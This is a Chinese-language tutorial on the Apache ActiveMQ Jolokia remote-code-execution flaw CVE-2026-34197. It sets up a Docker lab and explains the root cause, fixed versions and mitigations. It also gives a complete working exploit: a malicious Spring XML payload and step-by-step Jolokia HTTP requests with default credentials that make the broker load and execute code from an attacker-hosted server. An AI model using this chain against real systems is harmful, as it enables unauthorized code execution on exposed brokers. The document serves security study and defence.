Apache ActiveMQ CVE-2026-34197 Jolokia 远程代码执行漏洞分析
字数 7398
更新时间 2026-04-15 12:24:09

Apache ActiveMQ CVE-2026-34197 Jolokia 远程代码执行漏洞分析与利用教学文档

1. 漏洞概述

1.1 漏洞描述

Apache ActiveMQ Classic 在其 Web 控制台默认暴露了 Jolokia JMX-HTTP 桥接端点 /api/jolokia/。该端点的默认访问控制策略配置不当,允许攻击者通过 JXM 对 org.apache.activemq:* 范围内的 MBeans 执行任意 exec 操作,其中包括 BrokerService.addNetworkConnector(String)BrokerService.addConnector(String) 方法。

攻击者可利用此缺陷,通过构造一个包含特殊 brokerConfig 参数的 Discovery URI,触发 VM transport 从远程服务器加载恶意的 Spring XML 配置文件。当 Spring 的 ResourceXmlApplicationContext 实例化配置文件中的 singleton beans 时,可执行攻击者预设的任意代码,从而实现远程代码执行。

1.2 受影响版本

  • Apache ActiveMQ Broker 版本 < 5.19.4
  • Apache ActiveMQ Broker 版本 6.0.0 至 6.2.3

2. 环境搭建

2.1 整体架构

漏洞复现需要搭建两个关键服务角色:

  1. ActiveMQ 目标服务器:运行存在漏洞版本的 ActiveMQ,并确保其 Jolokia 端口可被访问。
  2. 恶意 XML 托管服务器:由攻击者控制的服务器,用于托管可触发远程代码执行的恶意 Spring XML 配置文件。

为简化网络环境,建议将两个服务部署在同一 Docker bridge 网络中,使 ActiveMQ 容器能够通过主机名访问到恶意 XML 服务器。

2.2 目录结构

创建如下目录结构以组织漏洞复现所需文件:

activemq-cve-2026-34197/
├── docker-compose.yml       # Docker 服务编排文件
├── exploit/                 # 恶意利用载荷目录
│   └── evil.xml            # 恶意的 Spring XML 配置文件
└── CVE-2026-34197.md       # 本教学文档

2.3 Docker 编排配置 (docker-compose.yml)

services:
  activemq:
    image: apache/activemq:6.2.1
    container_name: activemq-vuln
    ports:
      - "8161:8161" # Web 控制台 + Jolokia
      - "61616:61616" # OpenWire
    environment:
      - ACTIVEMQ_ADMIN_LOGIN=admin
      - ACTIVEMQ_ADMIN_PASSWORD=admin
    networks:
      - activemq-net

  evil-http:
    image: python:3.9-slim
    container_name: evil-http
    ports:
      - "8888:8000" # 宿主机端口 8888 映射到容器内 8000,便于调试
    volumes:
      - ./exploit:/usr/share/html # 挂载本地 exploit 目录
    command: python -m http.server 8000 --directory /usr/share/html
    networks:
      - activemq-net

networks:
  activemq-net:
    driver: bridge
  • evil-http 服务:基于 Python 的 http.server 模块,在容器内启动一个简易的静态 HTTP 服务器,端口为 8000。它将托管 ./exploit 目录下的文件。
  • 网络:两个服务通过名为 activemq-net 的 Docker bridge 网络连接,ActiveMQ 容器可通过主机名 evil-http 访问该服务器。

启动服务:docker compose up -d

2.4 创建恶意 XML 配置文件 (exploit/evil.xml)

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
                           http://www.springframework.org/schema/beans/spring-beans.xsd">
    <!-- RCE 载荷,cmd bean 必须放在 broker bean 前面 -->
    <bean id="cmd" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>touch</value>
                <value>/tmp/PWNED_SUCCESS</value>
            </list>
        </constructor-arg>
    </bean>

    <!-- broker bean 必须存在,且设置 persistent=false 避免 KahaDB 锁阻塞 -->
    <bean id="broker" class="org.apache.activemq.xbean.XBeanBrokerService">
        <property name="brokerName" value="rcebroker42"/>
        <property name="persistent" value="false"/>
    </bean>
</beans>

关键配置说明:

  1. Bean 顺序cmd bean 必须声明在 broker bean 之前。Spring 会按照 XML 中声明的顺序实例化 singleton beans。XBeanBrokerService@PostConstruct 回调会启动 broker 服务。如果将 broker bean 放在前面,其启动过程(尤其是未设置 persistent=false 时)可能会阻塞当前线程,导致后面的 cmd bean 永远没有机会被实例化和执行其 init-method
  2. persistent="false":此属性至关重要。如果不设置,新创建的 broker 会尝试创建 KahaDB 持久化存储并获取锁。如果 ActiveMQ 容器内已存在一个 broker 并持有该锁,新的 broker 会无限等待,导致整个 Spring 上下文初始化被阻塞,cmd bean 无法执行。设置为 false 后,broker 使用内存存储,初始化可瞬间完成。
  3. broker 名称rcebroker42 必须与后续攻击载荷中 VM transport 的 URI (vm://rcebroker42) 名称保持一致,并且不能与 ActiveMQ 容器内已存在的任何 broker 重名。否则,VMTransportFactory 会直接连接到现有 broker 而不会创建新实例,从而不会加载 brokerConfig
  4. RCE 机制cmd bean 利用 Spring 的 init-method 机制。当 Spring 实例化 ProcessBuilder 这个 bean 后,会自动调用其 init-method 属性指定的 start() 方法,从而执行构造时传入的命令(此处为 touch /tmp/PWNED_SUCCESS)。使用 ProcessBuilder 而非 Runtime.exec() 的原因是,start() 是一个实例方法,符合 Spring init-method 的调用要求。

2.5 验证环境可用性

# 1. 验证 ActiveMQ Jolokia 端点可访问
curl -s -u admin:admin http://localhost:8161/api/jolokia/ | python3 -m json.tool | head -5

# 2. 从宿主机验证恶意 XML 服务器可访问(通过端口映射)
curl -s http://localhost:8888/evil.xml

# 3. 从 ActiveMQ 容器内部验证可访问恶意 XML 服务器(通过 Docker 网络)
docker exec activemq-vuln curl -s http://evil-http:8000/evil.xml

确保以上三条命令均能成功返回预期内容。

3. 漏洞复现步骤

3.1 步骤一:通过 Jolokia 添加 Network Connector

向 ActiveMQ 的 Jolokia 端点发送一个 POST 请求,调用 BrokerService MBean 的 addNetworkConnector 方法。

HTTP 请求:

POST /api/jolokia HTTP/1.1
Host: 127.0.0.1:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/json
Origin: http://127.0.0.1:8161
Referer: http://127.0.0.1:8161/

{
  "type": "exec",
  "mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
  "operation": "addNetworkConnector(java.lang.String)",
  "arguments": ["static:(vm://rcebroker42?brokerConfig=xbean:http://evil-http:8000/evil.xml)"]
}

载荷拆解:

  • static:(...):使用 SimpleDiscoveryAgent,冒号后直接指定要连接的 URI。
  • vm://rcebroker42:使用 VM transport 连接一个名为 rcebroker42 的 broker。此名称在容器内应不存在,从而触发 VMTransportFactory 创建新的 broker 实例。
  • brokerConfig=xbean:http://evil-http:8000/evil.xml:关键攻击参数。指示 VMTransportFactory 在创建新 broker 时,使用 XBean 方式从指定的远程 URL 加载 broker 配置。

注意OriginReferer 请求头是 Jolokia 默认 CORS 策略所必需的,否则会返回 403 错误。

成功执行后,响应中应包含 "value": "NC",表示 Network Connector 添加成功,其默认名称为 "NC"。

3.2 步骤二:搜索并定位 Network Connector MBean

由于添加 Network Connector 后,需要知道其完整的 JMX ObjectName 才能操作它,因此需要先进行搜索。

HTTP 请求:

POST /api/jolokia HTTP/1.1
Host: 127.0.0.1:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/json
Origin: http://127.0.0.1:8161
Referer: http://127.0.0.1:8161/

{
  "type": "search",
  "mbean": "org.apache.activemq:*"
}

从返回的 JSON 结果中,查找与 Network Connector 相关的 MBean,其名称模式通常为 org.apache.activemq:brokerName=localhost,connector=networkConnectors,networkConnectorName=NC,type=Broker

3.3 步骤三:启动 Network Connector

向步骤二中确定的 Network Connector MBean 发送请求,调用其 start() 方法。

HTTP 请求:

POST /api/jolokia HTTP/1.1
Host: 127.0.0.1:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/json
Origin: http://127.0.0.1:8161
Referer: http://127.0.0.1:8161/

{
  "type": "exec",
  "mbean": "org.apache.activemq:brokerName=localhost,connector=networkConnectors,networkConnectorName=NC,type=Broker",
  "operation": "start",
  "arguments": []
}

此步骤是触发漏洞的关键。start() 方法会触发 Network Connector 尝试建立到 vm://rcebroker42 的连接。由于该 broker 不存在,VMTransportFactory 会创建它,并加载 brokerConfig 参数指定的远程 XML 配置文件,从而执行其中定义的恶意代码。

响应中 "value": null 是正常的,因为 start() 方法没有返回值。

3.4 步骤四:验证远程代码执行结果

检查 ActiveMQ 容器内是否成功创建了文件 /tmp/PWNED_SUCCESS

docker exec activemq-vuln ls -la /tmp/PWNED_SUCCESS

如果文件存在,则证明远程命令执行成功。

同时,可以查看相关日志确认攻击链:

  • ActiveMQ 服务端日志:会显示建立网络连接和加载远程配置的信息。
  • 恶意 HTTP 服务器日志:会记录来自 ActiveMQ 容器对 evil.xml 文件的 HTTP GET 请求。

4. 关键注意事项与排错

  1. 必须携带 OriginReferer 请求头:Jolokia 默认配置了严格的 CORS 策略。如果请求中缺少这两个头部之一,会返回 403 错误,提示 Origin null is not allowed to call this agent

  2. Network Connector 名称冲突addNetworkConnector 方法默认生成的 Network Connector 名称为 "NC"。如果已存在同名的 Network Connector,再次添加会导致 500 内部服务器错误,提示 Network Connector could not be registered in JMX。解决方法是先调用 removeNetworkConnector("NC") 删除旧的,再添加新的。

  3. XML 中 broker bean 必须设置 persistent="false":如果不设置,新 broker 在初始化时会尝试创建 KahaDB 持久化存储。如果 ActiveMQ 容器内已有 broker 实例占用了 KahaDB 锁,新的 broker 会一直等待,导致 Spring 上下文初始化被阻塞,即使 cmd bean 声明在前也可能无法执行。

  4. XML 中 bean 的声明顺序至关重要cmd bean(RCE 载荷)必须放在 broker bean 之前。Spring 按 XML 中的声明顺序实例化 singleton beans。XBeanBrokerService 的初始化(@PostConstruct)会启动 broker 服务,如果它先被实例化,其启动过程可能会阻塞线程,导致排在后面的 cmd bean 永远没有机会被实例化。

  5. broker 名称必须唯一:在攻击载荷中指定的 broker 名称(如 rcebroker42)不能与 ActiveMQ 容器内已存在的任何 broker 重名。否则,VMTransportFactory 不会创建新 broker,brokerConfig 也不会被加载。

5. 漏洞原理深度分析

5.1 漏洞入口:Jolokia 不当的访问控制策略

默认的 Jolokia 访问策略配置文件位于 assembly/src/release/conf/jolokia-access.xml。其中关键配置如下:

<allow>
  <!-- Allow all operations for the broker itself -->
  <mbean>
    <name>org.apache.activemq:*</name>
    <attribute>*</attribute>
    <operation>*</operation>
  </mbean>
</allow>

虽然默认的 <commands> 只允许 read, list, version, search 操作,但 <allow> 节中对 org.apache.activemq:* 这个 MBean 模式授权了所有操作(*),这覆盖了默认限制,导致攻击者可以通过 Jolokia HTTP API 对 ActiveMQ 的 MBeans 执行任意方法,包括危险的 exec 操作。

5.2 攻击链与核心代码分析

攻击者可控的输入(Jolokia HTTP 请求)最终触发 RCE 的完整调用链如下:

  1. Jolokia API 调用:攻击者发送 JSON payload 到 /api/jolokia,调用 BrokerService.addNetworkConnector(String) 方法。
  2. Network Connector 创建BrokerService.addNetworkConnector(String discoveryAddress) 方法将字符串参数转换为 URI,并创建 DiscoveryNetworkConnector 实例。
  3. 连接触发:当通过 JMX 调用 Network Connector 的 start() 方法时,其内部的 DiscoveryAgent 开始工作。在 static 发现模式下,会立即触发 onServiceAdd(DiscoveryEvent event) 回调。
  4. 传输层连接:在 DiscoveryNetworkConnector.onServiceAdd() 方法中,调用 TransportFactory.connect(connectUri) 尝试建立传输连接。这里的 connectUri 即攻击者构造的 vm://rcebroker42?brokerConfig=xbean:http://...
  5. VM Transport 处理:对于 vm:// 协议,由 VMTransportFactory.doCompositeConnect(URI location) 方法处理。该方法会解析 URI 参数,并提取 brokerConfig 的值。
  6. Broker 创建与配置加载:如果指定的 broker 名称(rcebroker42)在 BrokerRegistry 中不存在,VMTransportFactory 会调用 BrokerFactory.createBroker(brokerURI) 来创建新的 broker。这里的 brokerURI 就是 brokerConfig 参数的值(xbean:http://...)。
  7. Spring 上下文加载BrokerFactory 根据 URI 的 scheme (xbean:) 将创建任务路由给 XBeanBrokerFactory.createBroker(URI config)。该方法提取出 URL (http://evil-http:8000/evil.xml),并通过 Utils.resourceFromString() 将其转换为 Spring 的 UrlResource,然后创建 ResourceXmlApplicationContext 来加载此远程配置。
  8. 恶意 Bean 实例化ResourceXmlApplicationContext 在初始化过程中,会实例化配置文件中定义的所有 singleton beans。当实例化 id="cmd"ProcessBuilder bean 时,会执行其 init-method 属性指定的 start() 方法,从而触发命令执行。
  9. Broker 获取:最后,XBeanBrokerFactory 尝试从 Spring 上下文中获取名为 "broker" 的 bean。此 bean 必须在 XML 中定义,否则会抛出 NoSuchBeanDefinitionException,导致整个加载过程中断,RCE 也无法完成。

5.3 关键代码片段说明

  • VMTransportFactory.doCompositeConnect():在此方法中解析 vm:// URI 的查询参数,关键代码为 String config = options.remove("brokerConfig");。如果 config 不为空,则将其作为 broker 的配置 URI。
  • XBeanBrokerFactory.createBroker():调用 createApplicationContext(uri),其中 uribrokerConfig 中去掉 xbean: 前缀的部分(即远程 XML 的 URL)。该方法内部使用 Spring 的 ResourceXmlApplicationContext 来加载远程配置。
  • Utils.resourceFromString():此工具方法判断输入字符串是否为合法的 URL(通过 ResourceUtils.isUrl(uri)),如果是,则使用 new UrlResource(ResourceUtils.getURL(uri)) 创建一个指向远程资源的 UrlResource 对象,Spring 可以据此从远程 HTTP 服务器加载 XML 文件。

6. 漏洞修复与缓解建议

根据官方安全公告,此漏洞在以下版本中已修复:

  • Apache ActiveMQ Broker 5.19.4 及更高版本
  • Apache ActiveMQ Broker 6.2.4 及更高版本

缓解措施

  1. 立即升级:将受影响的 ActiveMQ 升级到已修复的安全版本。
  2. 严格限制 Jolokia 访问:修改 jolokia-access.xml 配置文件,删除或严格限制对 org.apache.activemq:* MBeans 的 exec 操作权限。原则上,生产环境不应允许通过 HTTP 接口执行 JMX 操作。
  3. 网络隔离:确保 ActiveMQ 的管理控制台和 Jolokia 端点(默认端口 8161)不直接暴露在互联网上。应通过 VPN 或堡垒机进行访问。
  4. 最小权限原则:运行 ActiveMQ 的服务账户应仅具有其运行所必需的最低系统权限,以限制潜在 RCE 造成的影响范围。

7. 参考资料

  • Apache ActiveMQ Security Advisory
  • NVD - CVE-2026-34197

免责声明:本教学文档仅用于安全研究、漏洞原理学习和授权下的安全测试。请勿将其中描述的技术用于任何非法目的。使用者需自行承担相关责任。

相似文章
相似文章
 全屏